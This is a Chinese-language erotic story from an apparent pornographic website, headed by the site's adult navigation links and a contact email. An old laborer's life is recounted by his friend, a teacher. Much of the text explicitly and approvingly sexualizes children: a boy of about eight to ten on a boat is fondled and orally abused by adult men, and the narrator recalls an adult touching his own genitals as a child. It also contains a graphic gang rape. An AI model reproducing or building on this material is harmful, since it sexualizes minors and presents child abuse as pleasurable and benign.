自拍偷拍 站长精选APP 网红主播 国产传媒 女优无码 中文字幕 视频下载 激情小说
[公告]:发送任意邮件到shuiduoduo58@gmail.com ,获取最新水多多网址,建议使用电信联通播放,移动有时打不开。
  赚钱信誉平台推荐
  狼友必备下载推荐
  

作者:不详

前几天,阿西在街上遇见我,高兴地拉住我的手,笑哈哈地对我说:「小米
啊,这次我的工资又涨了一百多元,我每月有六百多了。」

我对他说:「我听说吗上要给你们企业退休人员办理医疗保险了,现在生活
更有保障了,你可要快快乐乐地安渡晚年啊。」

阿西依然是那一脸无暇的笑:「当然,我们现在的生活很快乐,」他把嘴揍
近我耳边,神秘地说,「你岳父也很快乐,他说和我生活将是他一生之中最快乐
的时光。」



你无法想像阿西是一个快七十多岁的老头,他精神饱满,身体健康,虽然头
发花白,但根根竖着,显得生气勃勃,脸上的皱纹犹如刀刻,却看不出一丝倦容,
他个子不高,身板却十分结实,浑身上下没有一块赘肉,一看就知道他是长年从
事体力劳动的人。

我第一次认识阿西是2000年的冬天,单位给我分了新房,我准备装修,
我找人拉来河沙、水泥,满满两车,可我的新房在五楼啊!我找了几伙背儿哥,
都因为他们要价太高没谈成生意,我是一个强脾气,就不信找不到人。

我到劳务市场转了一圈,很是失望,正生闷气,听到后面传来一阵爽朗的笑
声,回头一看,见四个背儿哥说说笑笑走了过来,我上前问他们要不要干活,其
中一个精瘦的老头答到:「你以为我们是什么,又没有当官,不干活吃什么?」

我说我有一些活,叫他们跟我走,到了楼下,我指了指沙和水泥,叫他们讲
一个价。我们讨价还价了半天,只有50元的差距了,他们几个来了脾气:「就
是这个价,同意我们就干。」

我知道他们有意敲我,我的牛脾气又上来了,刚想发火,突然看见呆在一边
静静看着我们争吵的干瘦老头,他似笑非笑的神情打动了我,我的心象被电了一
下,一个激灵,我改变了主意:「嘿,老头,你怎么不说话?」我对他说。

他旁边一个壮实的中年人搭话了:「他从不讲价,叫他讲价,他会帮你讲的。」

「所以,」老头指着其余三个,「他们不让我讲话。」

有趣,我想。我对他说:「我让你讲,我听听看。」

那三个一齐说:「阿西,你就说一个价吧。」

阿西摸着头,有点难为情:「就依老板的吧。」

另外三个刚要吱声,我就开口了:「好,还是阿西爽快,这样吧,我再加一
百,行了吧?」

他们大吃一惊:「那老板刚才和我们讲什么?」

我笑了:「我想看看你们之中有没有诚实的人,阿西很对我脾气,我就看在
阿西的面子上,多给你们一百块,但要把活给我干好。」

从那以后,我就认识了阿西,这几个工人是爽快、健谈的人,从他们口中,
我得知阿西是航运公司下岗工人,都61岁了,因为参加工作时少报了几岁,到
现在还没退到休。「都怪我当时贪心,想在单位多干几年,谁知道……唉!」阿
西有些失落,但这种失落的表情转瞬而过,他马上又恢复了乐呵呵的神情:「其
实也没什么,大不了我再多为国家作几年贡献。」

一个工友搭话:「阿西就是这样,什么都不放在心上,日子再苦,他都快乐。」

阿西接着说:「什么都往心里放,心也装不下,人活一辈子不容易,就要快
乐地活过每一天。」

一次,阿西的一个同伴对我说,别看阿西一天笑哈哈的,其实他心里很苦,
年轻时,因为生活艰苦,老婆跟人跑了,他没再娶,说是怕后娘欺负孩子,一个
人把儿子拉扯大,偏偏儿子又是一个怕老婆的孬种,两口子到外面打工,就一直
没有音信。

「他现在就是孤家寡人了?」

「不是吗?幸好单位以前还分给他了三间房子,要不然,他连栖身之地也没
有。」工友歎了一口气,「他都61岁了,该退休又退不倒,自己要找饭吃,每
年还要交一千多养老保险金。要不,那么大的岁数了,还要出来当背儿哥?」

看着阿西吃力地背着大背沙,汗水顺着脸上的皱纹往下淌,我心里不由一阵
酸楚,我是一个爱老敬老的人,生平最见不得老人受苦,阿西的遭遇打动了我,
我想,如果有机会,我一定要帮帮他。

活干完了后,我把阿西叫到里面,特意多给了他一百元钱,阿西死活不肯收,
见我有些生气了,他才非常难为情地收下,一边道谢一边说:「老师,你在搞装
修时有什么事,就找我。」

我说:「你这么大的岁数,我怎么好意思让你干活?」

他有些急了:「我身体好着呢,几年都不会生病,再说,不在你这里干,我
还不是要到外面找活干?」

我想也是,反正我搞装修期间也需要一个零工,我就对他说:「好吧,从明
天起,就在我这里干吧,我给你三十元一天,怎么样?」

阿西忙说:「多了、多了,我平常一天也就挣二十块钱的样子。」

我拍拍他的肩:「好了,就这样定了,明天你早点来吧。」

阿西感激不尽地离去,出门时,我听见一个工友悄悄地对他说:「阿西,老
板看上你啦?」

阿西推了工友一把:「去你妈的,以为人人都像你,一个色中饿鬼,人家老
师是个大好人。」

工友小声嘀咕了一句:「好人,好人就不做那事了?」

在和阿西相处期间,我瞭解了阿西一些情况:阿西生于1939年冬天,在
他几岁时,他妈妈就因病去世,他父亲是一个船工,也就是拉船人,家里没有别
的人,父亲只好把他带在船上。船上没有女人,有一个小孩,也给那些船工增添
了不少乐趣。船工们都是一些粗鲁的人,生活枯燥,日复一日的干着单调的活,
由于身边没有女人,精力无处释放,只好在口头上讨快活,特别是在夏天,他们
成天几乎都是精溜溜的,不时开着粗鲁的玩笑,性起时,胯下之物勃然挺立,一
到晚上,拿同伴泻欲的也不是没有,阿西就是在这种环境中长大,在他的成长期
间,几乎没有女人这个概念。

船上的叔叔伯伯最喜欢拿阿西开玩笑,起初,父亲会护着他,后来,因为拿
同伴没办法,父亲对同伴们对阿西的骚扰也就听之任之,这样,他们的胆子就更
大了。

阿西喜欢叔叔伯伯们用毛烘烘的嘴亲他,喜欢他们用粗大的手摸他的小鸡鸡,
但他最喜欢的是看大人们的鸡鸡,无论它们是疲软还是雄起。大人们晚上做性游
戏时,并不回避阿西,认为他还小,再说,十几个人挤在一个船舱里,做什么别
人看不见啊?

最让阿西吃惊的是一个晚上,他被一阵急促的呼吸和压抑不住的呻吟声惊醒
了,他睁开眼睛,发现一个爷爷正在吃爸爸的大鸡鸡,藉着月光,阿西第一次看
见了爸爸勃起的鸡鸡,是那么的粗大,老爷爷用力吸着爸爸的鸡鸡,爸爸则不安
地扭动着身子,后来,爸爸把爷爷按住,把大鸡鸡塞入爷爷的屁眼,用力抽动起
来,老爷爷快活地呻吟着。

阿西目睹了他父亲和别人作爱的全过程,当时他已快十岁了,以前他见过不
少叔叔伯伯相互吸鸡鸡,但干别人屁眼,他还是第一次看到,他既惊讶又兴奋,
他便开始有目的地观察大人们夜间的行动了。

在这样的环境中,阿西早熟了,后来他告诉我,他的早熟是因为他过早的吃
了大人们的精液,在他八岁时,一个伯伯乘他父亲不注意,叫阿西吸了他鸡鸡,
并把精液射入了阿西的口中,阿西觉得那东西味道怪怪的,刚想吐出来,伯伯对
他说:「别吐,儿子,那是男人的精华,吃了它,你娃娃长得快。」

早熟的阿西是一个漂亮的小伙子,漂亮的小伙子自然人见人爱,阿西成了叔
叔伯伯们的宠儿。

父亲不愿意阿西成为兄弟们的泻欲对象,他想把阿西送上岸,可阿西已非常
喜欢这种生活,他不愿意上岸。阿西爸爸是一个没有文化的大老粗,他想,现在
阿西喜欢和男人玩,等他真正长大了,给他讨了老婆,他就不会这样了。不是吗?
在没有女人的情况下,他经常把自己的东西塞入同伴们的嘴里或屁眼里,可一见
了女人,他就会把他们忘得一干二净。

认识阿西后,我进了一些同性恋网站,很多人认为同性恋是天生的,但根据
阿西的例子,我个人认为后天的因素也相当大。

阿西在我家干了三个月活,直到我的房子装修完毕。在此期间,阿西对我越
来越有好感,可能他真的相信了同伴的话,我看上他了,在没有旁人的时候,他
也曾用一些话语来试探我,我假装什么都不懂,阿西十分惶惑。

其实我是喜欢阿西的,但不是同性爱的那种喜欢,我失去双亲很早,是爷爷
把我拉扯大,可等我大学毕业刚参加工作不久,我唯一的亲人爷爷又离开了我,
爷爷去的时候不到七十岁,我觉得他的样子和阿西差不多,看到阿西,就像看到
了爷爷,从心底里有一股亲近的感觉。这些我当然不能告诉阿西。

阿西是一个十分爱干净的人,别看他是一个卖苦力的。在我家干活时,他都
是穿的干干净净地来,干干净净地回家。他来的时候,顺便带一套工作服,到了
我家再换上,临走时,在我家洗一个澡,穿上干净衣服再回去。

洗澡的时候,他不回避我,我知道这是他的习惯,他在船上生活了几十年,
早养成了光身子的习惯,洗澡时,他光溜溜地在屋里走来走去,一点儿也不忌讳
什么,他那根不同寻常的男根在胯下甩来甩去,显得十分悠然,有时候,我会有
意无意地瞟几眼,那东西的确让大多数男人自愧不如,他不但长而且粗壮,龟头
特别大,而且最让我吃惊的是,阿西的阴毛竟然是白的。

对此我十分好奇,我问阿西是不是人老了,那里的毛也要变白?

阿西显出十分吃惊的样子,他可能在想,怎么一个大学生连这都不懂?

「你没有见过老人的鸡巴吗?」阿西惊讶地问,「人老了都会这样的。」

我的脸红了:「我怎么会专门去看老年人的鸡巴?」

阿西笑了:「是、是,我说错了,」他光着身子走近我,「你想不想看老头
的鸡巴?」

我突发了好奇心:「看就看吧,难道有什么不同吗?」

阿西站在我面前,说实话,阿西的身材在老年人中是非常棒的,比我印象中
的爷爷身体棒多了,爷爷虽然是一个农民,但由于他一直当村干部,很少下地劳
动,身体有些发福,皮肤白白的,远没有阿西的古铜色的皮肤好看,阿西的肌肉
很结实,摸起来很舒服,我发现当我抚摩阿西的胸膛时,阿西的呼吸变得急促起
来,胯下那下垂之物也在慢慢变大。我立即住了手,推了他一把,笑骂道:「老
东西,火气不小嘛!」

阿西立即变得很不好意思起来,用手摀住下部,十分尴尬:「老师,不好意
思,我、我……」

我摆了摆手:「没什么,这说明你身体很好嘛,我想这样还不行呢。」

阿西不相信:「怎么可能?你还不到三十岁吧?正是精力旺盛的时候啊!」

「我倒想我还不到三十岁,我有这么年轻吗?我都快到四十了。」

阿西摇摇头:「不可能,不可能。」我也懒得和他争辩,也难怪,阿西他自
己不刚六十吗,我初见时以为他都七十岁了呢。

洗完澡,阿西穿好衣服,正要离开,我突然冒昧地问了一句:「阿西,和你
同住的那三个都只有四十多岁吧?你一个人怎么受得了?」

阿西怔住了,半天红着脸问道:「老师你怎么知道我们……」

我笑道:「阿西啊,你真以为我是一个傻子呀?我早就看出来了。」

阿西重新回到屋里,望着我的眼睛,怯生生地问:「老师一定非常瞧不起我
们吧?」

我拍拍阿西的肩:「怎么会呢?那是你们的自由,现在是什么社会了,每个
人都有选择自己生活的权利,当然包括性生活。」

阿西望了我半天,一把抓住我的手,眼睛都红了:「谢谢老师,你是第一个
理解我们的正常人。」

我摸摸阿西的脸,心里很难过:「别这么说,阿西,我们都是正常人。」

阿西揉了揉眼睛:「老师,你不知道我们有多可怜,就像个戏子,每天都给
自己戴上面具生活,生怕别人知道我们是不正常的,心里的苦,想找一个人说说
都不行。」他勉强挤出一丝笑颜,「不瞒老师说,我老婆就是因为这个跟别人跑
了的,儿子后来听他妈妈说,才带着老婆孩子远走他乡,从此不再认我。」

我一时找不到什么话来安慰阿西,只是拍着他的肩膀。过了一会儿,阿西情
绪稳定了一些,我劝他道:「阿西,不知道我该不该说,你年纪也这么大了,要
注意身体,那种事应该是可有可无吧,最好找一个志同道合的人,朋友交多了,
得了病,那可不得了。」

阿西有点害羞了,他低下头:「老师,他们不像你想的那样,他们都不是同
性恋,他们是我的老乡,在城里找活干,挣点钱供孩子念书,有时寂寞了,我们
才那样。」他顿了顿,补充到,「他们知道我喜欢男人,但不知道什么叫住同性
恋,他们说,没有女人的日子很苦,有时我想的时候,他们才和我做,我们基本
上只是用手。很多年了,我都没有在外面找人,只是和几个原来就认识的人有来
往,我们都很注意的。」

阿西走后,我心里愈发难过,其实我并不是一个菩萨心肠的人,但不知怎么
地,心里就放不下阿西,我决定,我一定要好好瞭解阿西,并尽自己最大努力帮
助阿西。

我想起阿西说他参加工作时把年龄报小了,所以都六十一岁了还退不了休,
我不知道国家退休政策,或许,我能在这方面给他一点帮助?

我突然记起我的一个学生家长在县社保局工作,还是一个领导干部,他请我
吃饭时曾说,如果我有什么亲戚退休要他帮忙,就尽管找他。

我拨通了学生家长的电话,他很热情,我讲了阿西的情况,他问阿西是我什
么人,我撒谎说阿西是我的一个叔叔,请他帮帮忙。他很爽快的答应了,说:只
要阿西能找到他出生年月的原始依据,就可以办理退休。学生家长还告诉我,所
谓原始依据就是阿西在农村的老户口本,或者1988年办理的第一代身份证。

我先谢谢了学生家长,他说小事一桩,这又不违反规定,然后,我们又谈了
一会儿孩子的情况,我说我一定会格外照顾他的,家长很满意,叫阿西尽快找到
依据,他会立即办理的。

我也很满意,能帮助阿西解决退休问题,也免除了阿西的后顾之忧。

第二天,阿西又快快乐乐地来到我家,他像完全忘掉了昨天的事,一边干活
一边哼着歌。装修工人师傅不明白阿西一个孤寡老头为何这么快乐,经常对他吆
五喝六的,阿西也不生气,一样的乐呵呵。

中午,我说我不想回家,叫阿西陪我到外面吃饭,阿西简直有点受宠若惊,
我们到一家小饭馆喝了几两酒,阿西有些醉意,话就更多了。

阿西讲到:他父亲拗不过他,只好让他留在了船上,但特别警告他,不要和
叔叔伯伯干那个事,否则,他就把他赶下船去。

阿西想,你干得,我就干不得?

父亲给工友们交代,不要骚扰儿子,他还小,正长身体。一些叔伯们还是很
自觉的,不再挑逗阿西,可现在的阿西再也不需要他们挑逗了,在船上几年耳闻
目染,他早就谙熟男人之间的事了,他要干遍全船男人,除了他的爸爸,当然,
如果有机会,爸爸也可以干一下的,阿西想。

船上的生活寂寞无趣,有时船工们要半年才能回家一次,他们都是精壮好汉,
要压抑住自己的性欲非常困难。

阿西的第一个目标就是他父亲干过的老爷爷。因为,老爷爷特别喜欢阿西,
在阿西小的时候,他就经常含阿西的小鸡鸡。

老爷爷是一个非常慈祥的老人,阿西七、八岁时,就喜欢摸老人的大鸡巴,
老人总是静静地坐着,很享受阿西的抚摩。

一天晚上,阿西等父亲睡着了,悄悄爬到老爷爷身边,挨着老爷爷睡下,闻
着老人身上特有的气味,开始在老人身上摸着。

爷爷醒了,看见是阿西,小声说:「你要干吗,快过去,你爸爸知道了要整
你娃娃的。」

阿西不吭声,一个劲儿地在老人身上上下其手,老爷爷本来就十分喜欢阿西,
就听之任之了。

阿西一口含住老爷爷的鸡巴,开始,老爷爷的鸡巴还是软绵绵的,可一到阿
西嘴里,马上就变得硬邦邦的了。

阿西用力吸着老爷爷的鸡巴,老爷爷也用手摸着阿西的大鸡巴:「娃娃,几
天不见,长得这么大了?」

阿西把老爷爷翻过去,往他屁眼上吐点唾液,就把自己的鸡鸡往老人身体里
捅去……

老爷爷的身体早被船工们弄大了,阿西毫不费力地就进去了,这是阿西第一
次进入男人的身体,他舒服得不得了,没动几下,就把精液射进了老爷爷的身体
里。

老爷爷却意犹未尽:「这么快就完了?你真是一个瓜娃娃。」

船上的人都非常喜欢年少英俊的阿西,是啊,一个浑身充满朝气的阳光少年,
谁拥着他都是一种幸福。

很快,阿西就和全船除老爸外的男人发生过关系,那些叔叔伯伯们说,阿西
那东西插在身体里,非常舒服,而且,他们还发现阿西的后面更加神奇,一位伯
伯如是说:「阿西啊,他的后面比女人还女人,是天生为男人而生的。」老爷爷
第一次把老尘根插入阿西的身体后,也感慨万分:「我一辈子见过不少女人,也
玩过不少男人,阿西这样的,我还是生平第一次见到,太神奇了,太美妙了。」

这些话传到了父亲耳朵里,父亲非常气恼,他不是那种封建,不开窍的人,
他也很开放,男人、女人基本是照单全收,但阿西毕竟是自己的儿子,成为了大
家的玩物,他做父亲的,脸上毕竟不很光彩。

他决定好好和儿子谈一谈了。

十六岁的阿西几乎和父亲一样高,一样强壮了,望着儿子充满朝气的、天真
无邪的脸,父亲的心「咯登」了一声,一股异样的感觉涌上心头,是啊,他从来
没有这样好好打量过儿子,儿子已经长大成人了。

老父亲心里涌起一股暖流,他一把把儿子搂在怀里,心里十分自责,自己对
儿子的关系实在太少了。

「阿西呀,」父亲抚摩着阿西的脸,眼里充满了慈爱,「你长大,等这次回
家,爸爸托人给你说一个媳妇吧。」

阿西正感受父爱,父亲身上强烈的烟草气息让他陶醉,他正想入非非之时,
听到父亲说要给他找老婆,条件反射地从父亲怀里弹出来:「不,不。」阿西坚
决地说,「我还小,不要老婆。」

父亲拉过他的手,慈爱的说:「孩子,你也不小了,都和爸爸一样高了,先
把媳妇说下来,过一两年就结婚。」

阿西从父亲手中挣脱,固执地摇摇头:「不,爸,我不要媳妇。」

父亲的语气严厉起来:「这由不得你,这次回家后,你再也不能上船了,不
要说什么年纪小,你做的那些事我都知道,小,小能做那些事吗?」

阿西的脸一下红了,他低下头,小声嘀咕道:「大家都在做,为啥我就做不
得?」

父亲真的生气了,顺手抄起一根木棒要打阿西,老爷爷见状立即抱住了父亲,
一边劝慰父亲一边呵斥阿西:「老赵,不要这样,娃娃大了,有话慢慢说,阿西,
你爸爸是为你好,怎么能这样对爸爸说话?」

几个叔叔把阿西推到船尾,一个叔叔打趣到:「阿西啊,你娃娃没见过女人,
不知道女人的好,等你娃娃尝到了甜头,就不想钻这个屎洞洞的了。」

阿西白了他一眼,没有说话,但他心想:老子就爱钻屎洞洞,就不喜欢女人,
怎么样?

他偷偷地望了一眼还在气呼呼的父亲,他发现父亲生气的样子也很好看,他
暗道:有一天,我也要把你搞到手。

和阿西交往越多,我就愈发对阿西的经历好奇,阿西也越来越相信我,可能
我是他眼中第一个最能理解他们的「正常人」吧,阿西什么话都愿意对我说。

阿西告诉我,他年轻时非常喜欢年纪大的男人,特别是那种高大、壮实,体
毛较多的男人,上了年纪后,就特别喜欢年纪和他差不多的、白白胖胖、文质彬
彬的男人了。「我不喜欢很年轻的人,我受过他们的苦。」

阿西说,那是文化大革命期间,他还不到三十岁,在父亲的高压下,他终于
结婚了,老婆是本地的一个农家妇女,没有什么文化,模样也很一般,但很有心
计,她之所以和阿西结婚,是因为阿西是一个工人,阿西应该算是一个英俊的青
年,但他老婆并不爱他,因为她深爱着她的一个同学,但那小子家庭出生不好,
她家里人死活不愿意,生生拆散了他们。

阿西也不喜欢他的老婆,他压根儿不愿结婚,这样做,只不过是了却父亲的
心愿。

两个毫无共同语言的人捏在一起,生活就可想而知,幸好,阿西一、两个月
才回家一次。

阿西那时在单位有一个相好,是他的一个老师傅,老师傅特别喜欢年轻小伙
子,阿西就是他老人家最宠爱的一个。

老师傅是三年前瞄上阿西的,那年,航运公司招收青工,阿西的老爸托了很
多人才给阿西争取了一个指标,可惜青工年龄限制在二十二周岁以下,当时的阿
西已经二十五、六岁了,老爸找到了他的一个老哥们,请他帮忙想想办法,因为
他的儿子是公司的人事干部,老师傅一见阿西,就打心眼里喜欢上了这孩子,他
摸摸阿西光滑的脸,对阿西老爸说:「你的儿子就是我的儿子,没说的,你到我
儿子那里去拿张招工表,由我来办好了。」

老爸高兴的出去找人拿表了,老师傅关上门,笑盈盈地拉着阿西坐下,和蔼
的问:「小伙子真想当工人啊?」

阿西点点头。老师傅接着说:「我让你当了工人,你可得听我的话啊,不然,
我能让你当,也能把你放回去,懂吗?」

阿西还是点点头。老伯靠得更紧了,他身上的烟草味已把阿西的神经给刺激
的有点迷糊了。

老师傅的手已经摸到了阿西的胯下,阿西当然知道老师傅要做什么,他装做
什么都不懂,坐在那里一动不动。

老师傅解开了阿西的裤扣,掏出了阿西那已经高高翘起的大东西:「哇,你
龟儿子东西不小啊。」老师傅一边讚歎一边玩弄,阿西情不自禁的呻吟起来。

「以前玩过吗?」

阿西摇摇头。

老师傅更来劲了,他就喜欢童子娃娃。「也没有或女人做过吧?」

阿西任然摇头。

老师傅仔细端详阿西的东西,有点不相信:「不会吧?我看你娃娃的东西是
久经沙场啊。」

阿西不好意思地说:「是我用手弄的。」

老师傅满意地点点头:「嗯,不错,好娃娃,老子一定会亏待你的。」说完,
低下头,一口含住了阿西的男根。

老师傅口技一流,但阿西也正如他说是久经沙场的骁将,他装着十分不好意
思的样子,扭动着身子,他的扭动,更加刺激老师傅的性兴奋神经。

足足二十多分钟,阿西才把他的生命精华射入老师傅口中。

他们刚刚收拾好,老父亲把招工表拿回来了。几天后,阿西顺利地成为了一
名国家正式工人,他的年龄也由二十六岁变成了十九岁。

老师傅十分迷恋阿西的身体,的确,阿西在什么方面都比老师傅原来的性夥
伴都胜了一筹,这引起了老师傅原来的几个性夥伴的强烈的不满。

阿西说,那是1968年的一个夏夜,老师傅把阿西带到公司会议室,正当
他们干得热火朝天时,门被踢开了,你个戴红袖章的年轻人闯了进来。几道刺目
的电光照得他们睁不开眼睛。

「好哇,你们在干鸡奸,这可是要犯法的哟。」一个小伙子叫道。

可当他们看到两个案犯之一竟是县革委会主任的老爸时,就呆住了,一个小
伙子说:「妈的李平,害老子们啥。」其中一个反映还算快,一把抓住阿西,甩
手就是几个耳光:「狗日的阿西,你竟敢腐蚀老革命。」

老师傅也没有见过这种阵势,吓得呆在一旁不敢吱声,阿西用求救的眼光看
他时,他竟然转过头去。

几个小伙子放走了老师傅,关上门,打开灯,把阿西脱光衣服绑在柱子上,
冷笑道:「阿西啊阿西,没有想到你一个堂堂男人,有家有室的,竟然好这一口,
今天,老子们就让你享受过够吧。」

阿西回忆到,那几个青年那晚上对他进行了非人的折磨,他们五个人轮番强
奸他,把那东西从他后面拔出来后又塞进他的嘴里,由于没有任何润滑就强行进
入,他的菊花很快就出血了,那几个没有人性的东西哈哈大笑到:「阿西啊,想
不到你还是处女哇!」他们一边猛干一边嘲笑他,阿西疼痛难忍,但嘴里又被塞
着脏呼呼的东西,使他感到求生不能,求死不得。

五个变态小青年几乎折磨了阿西一整夜,直到他们自己精疲力竭才罢手,临
走时,他们威胁道:「小子,你就是我们的性奴了,老子们想好久上你,你就要
乖乖地让老子们上。」

阿西不知道自己是怎么回家的,他在床上躺了几天,第三天,老师傅来看他,
给他卖来水果等补品,阿西不想见他,那天他的表现太让阿西失望了。

老师傅在阿西身边坐下,抚摩着阿西的脸,阿西背过身去,老师傅把他扳过
来,要看他的菊花,当他看到阿西还红肿的菊花时,不由得一阵辛酸,两滴泪水
落在阿西的屁股上。

就是这两滴泪水软化了阿西的心,阿西扑进老师傅的怀里,伤心地痛哭起来。

老师傅怜爱地亲吻着阿西,阿西止住了哭声,也热烈的回应老师傅,老师傅
把阿西放在床上,在阿西下面亲吻着,阿西的生命之根开始骚动,一会儿就高高
翘起来了,老师傅立刻张口含住,正当二人进入忘我的世界时,老爸推门进来了。

老师傅立刻吐出阿西的东西,望着老夥计,一脸的尴尬。阿西满不在乎的用
被单盖住自己。

「爸爸,进来时怎么不敲敲门?」

老爸同样万分尴尬地站在屋中央,老师傅十分无趣地朝阿西爸爸一笑,就要
离开。

「师傅别忙走。」阿西从床上赤条条地跳了下来,找了条裤子穿上,大大咧
咧的对父亲说:「爸爸,我再也不想对你隐瞒什么了,我喜欢男人,喜欢老男人,
你叫我讨老婆,竟管我十分不愿意,但我还是讨了,现在她好像已有了身孕,传
宗接代的工作也基本完成了。我可不可以按自己所想的生活方式生活了?」

爸爸没有搭理阿西,只是对着老师傅说:「唉,家门不幸啊,老夥计,阿西
是你的晚辈,你不该啊。」

老师傅一张脸通红,吱吱呜呜说不出话来,阿西抢过话头:「爸爸,不要怪
他,是我勾引的他。」

老师傅十分感激的看了阿西一眼,逃也似的离开了阿西的小屋。老爸关上门,
怒气沖沖地望着阿西:「你个不要脸的东西,你要把老子气死才甘心啊?」

阿西扶老父亲坐下,温和的说:「爸爸,别生气。这也不能光怪我,你们也
有责任,如果我从小不在你们那条船上,可能我就不会这样了。但这也没什么不
好,你就睁一只眼闭一只眼吧。」

老父亲气得半天才说出话来:「你个畜生,那样做真的就那么好吗?」

阿西笑着说:「你不也做过吗?」

「我们不是因为寂寞,又没有女人,才那样做的吗?」

「我也是因为寂寞才做的,但我发现那比女人好,我喜欢那样。」阿西靠近
父亲,嬉皮笑脸地说:「爸爸,你知道我为什么要找老头吗?那是因为我喜欢你
呀!」

老爸怔怔地望着阿西,半晌才说:「我不管你这样生活,但你必须和你老婆
好好过日子,该男人做的事,你还得要做。」

我问阿西:「你现在的年龄是你师傅给填的?」

阿西点点头。

我又问:「你没有找社保局给你更正吗?」

阿西说:「当然找过,可他们说只认最初的招工登记表。」

「你的户口本和身份证呢?是哪个年龄?」

「身份证是真实的年龄,户口本是改后的年龄。」阿西不知道我怎么会问这
个问题,有些茫然。「老师怎么问起这个来了?」

我对他说,我准备帮他一个忙,但帮不帮得成功还说不清,阿西这时显得非
常聪明:「老师,只要你能帮我把退休办下来,这几年的退休工资交给你去领。」

我责怪道:「喔,在你眼里我是这么贪财么?」

阿西连忙道歉:「对不起,对不起。老师,你看我,一个大老粗,不会说话,
你大人不记小人过,不要放在心上啊。」

我笑着拍拍阿西的肩膀:「阿西啊,我也没有怎么小气吧?我给你说了,这
忙帮不帮得成功还难说,我帮你,是因为我觉得你这个人还不错。」

我叫阿西第二天回老家去一趟,找到老户口本,因为那不可能更改,找到他
出生那页,连老户口本和你的身份证一并交给我。

第二天,阿西回家很顺利地找到了老户口本,但乡上管户籍的不让他拿走,
阿西没办法又给我打电话,恰巧我以前一个学生在那里作乡长,我又给他去了电
话,终于把事情给办妥当了。

我老婆不理解我为什么对阿西这么好,我给她讲了阿西的故事,当然,我省
去了他对同性喜好,我老婆是一个多愁善感,心地善良的女人,看韩剧可以揩湿
几条手巾的那种,听完阿西的故事,她很感动,眼圈红红的说:「真是苦命的阿
西呀,你能帮帮他,也是应该的。」然后又补充道:「阿西人很老实,又勤快,
我也很喜欢他。」

我说起了我的老婆,就不能不说说我的岳父。我老婆是岳父家的么女儿,自
小就倍受疼爱,他父亲是我的启蒙老师,而我,又是倍受老师喜欢的乖乖学生,
我和她哥哥是同了十二年学的好朋友,我大学毕业后回到县城中学教书,几年后,
她中专毕业分在县银行,由她父亲做主,把她嫁给了我。

前面说过,我双亲去的早,是我爷爷奶奶把我拉扯大,她父亲在我们村里教
小学,她哥哥随她父亲读书,但她哥哥的成绩一直没我好,可能是老师望子成龙
心切,见儿子又和我很投缘,就对我爷爷奶奶说,让我晚上住在他那里,和他儿
子一道学习。我爷爷奶奶舍不得,让我每天在老师那里做完作业后,再回家。

我老师(算了,还是称岳父吧)见我的好学精神影响了他的儿子,非常高兴,
对我格外优待,我在他那里吃饭就是经常的事了,夏天中午,我在那里午睡,岳
父总喜欢把我搂在怀里,亲着我粉嘟嘟的脸,有时还喜欢摸着我的小鸡鸡,我认
为这是老师对我的爱,当然,这样非常舒服,我也喜欢这样。

有时我想,我对老人的特别依恋,除了和爷爷的关系特别好外,岳父对我的
关爱,也或多或少对我有影响。

在没有遇到阿西以前,我和岳父之间的关系是十分清白的,他对我的爱,纯
粹是父子之爱,虽然后来我知道我岳父有同性恋倾向,但他却从来没有对我抱有
什么非分的企图。要不然,他怎么也不会把女儿嫁给我的。

岳父一直关心我的成长,初中毕业时,我以全校第一名考取了重点中学,岳
父竟比我爷爷奶奶还高兴,他的儿子也同时考取了重点中学,临别的那一晚上,
他把我叫到他家,说是为我们饯行,那时我老婆还是一个小姑娘,岳父在席上摸
着我的头说:「我要是有这么好的儿子就好了。」他叫过我当时还为成年的老婆,
「你要向小哥哥学习,做一个向他那么优秀的孩子。」

当时的我很幼稚,岳父的夸奖使自己很是得意,现在想起来,其实我是非常
普通的,但不知到为什么岳父这么喜欢我,甚至超过了喜欢他的儿子,其实他的
儿子非常优秀,虽然读书时成绩没有我好,但他相当机灵,出生社会后,他比我
优秀得多。

但岳父任然非常喜欢我。

我发现岳父的性倾向是我参加工作后的几年,那时,老婆也从学校毕业参加
工作了,我岳父也快要退休了,被调到乡小学教几节杂课,算是半退休。一个暑
假,我奉命到母校招生,我赶到母校时已经中午了,我没有打扰别人,先到我岳
父寝室去,那时岳母到省城儿子那里去了,只有岳父一人在家。我敲了半天门,
岳父才打开门,非常惊慌的样子,一见我,才松了一口气,但脸还是红红的。我
挤进屋去,看见一个十六、七岁的男孩,正在系裤子。

岳父见我用异样的眼光看着他,连忙解释说:「他是我以前的一个学生,今
天……」

我摆摆手,没让岳父继续说下去,男孩走后,我对岳父说:「没什么,妈妈
走了这么久了。我理解你。」

岳父的脸更红了:「其实,我们真的没什么。」

我拉起岳父的手,笑着安慰他:「爸爸,我没有说你们有什么啊。」

岳父尴尬地一笑:「对、对,你没说。」

晚上,我和岳父睡在一起,岳父极力想让我忘了中午见到的一切。

要知道,他最在乎我。我安慰他,就算他真的是一个同性恋,他任然是我的
爸爸,我对他说:「现在人们的思想解放了,观念也更新了,不会像以前,一说
到同性恋就想到鸡奸,就想到犯罪。」

我告诉他,我在大学里就遇到了一位教授,他喜欢我,公开说他是一个同性
恋,要我和他同居,并保证我读他的研究生。其实我是很想报考他的研究生的,
就为了逃避他的骚扰,我放弃了考研。

岳父怔怔地看着我,眼中的惶恐逐渐消失。他关掉灯:「好小子,谢谢你的
理解,睡吧。」

但他还是睡不着,在一个他最欣赏的晚辈面前失格,老人家心里还是很过意
不去的。我决定消除他的顾虑,我轻轻搂着他:「爸爸,不管怎么样你都是我的
爸爸,你放心,今天我看到的决不会告诉任何人。」

「谢谢,小米,谢谢。」岳父也温情脉脉的搂住我,动情地说:「小米,我
没有看错你,你是一个善解人意的好孩子,我就实话告诉你吧,我喜欢男人,喜
欢帅气的男孩,也喜欢成熟稳重的中老年,可我作为一名教师,不能太出格,我
就一直压抑自己的感情,努力去喜欢女人,但非常难。我和你妈妈结婚已经三十
年了,我真的没有好好地爱过她,但我从心底里敬重她,她是一个好女人,我一
直在外面教书,家里的一切全是她料理,我不能伤害她。说一句不该在你们晚辈
面前说的话,我和她作爱都没有激情,每次为了完成那件事,我就把她想像成你
或其他漂亮的小伙子。」说到这里,他顿了顿:「小米,你不会怪我吧,要知道,
你还很小很小的时候,我就非常喜欢你,但我又不能伤害你,就把你当儿子喜欢,
所以,我坚决要把小妹嫁给你。」

我柔声说:「爸爸,我知道你一直对我好,你老人家放心,我一定会比亲生
儿子更孝顺你的。」

岳父紧紧抱住我:「我知道,我相信。」

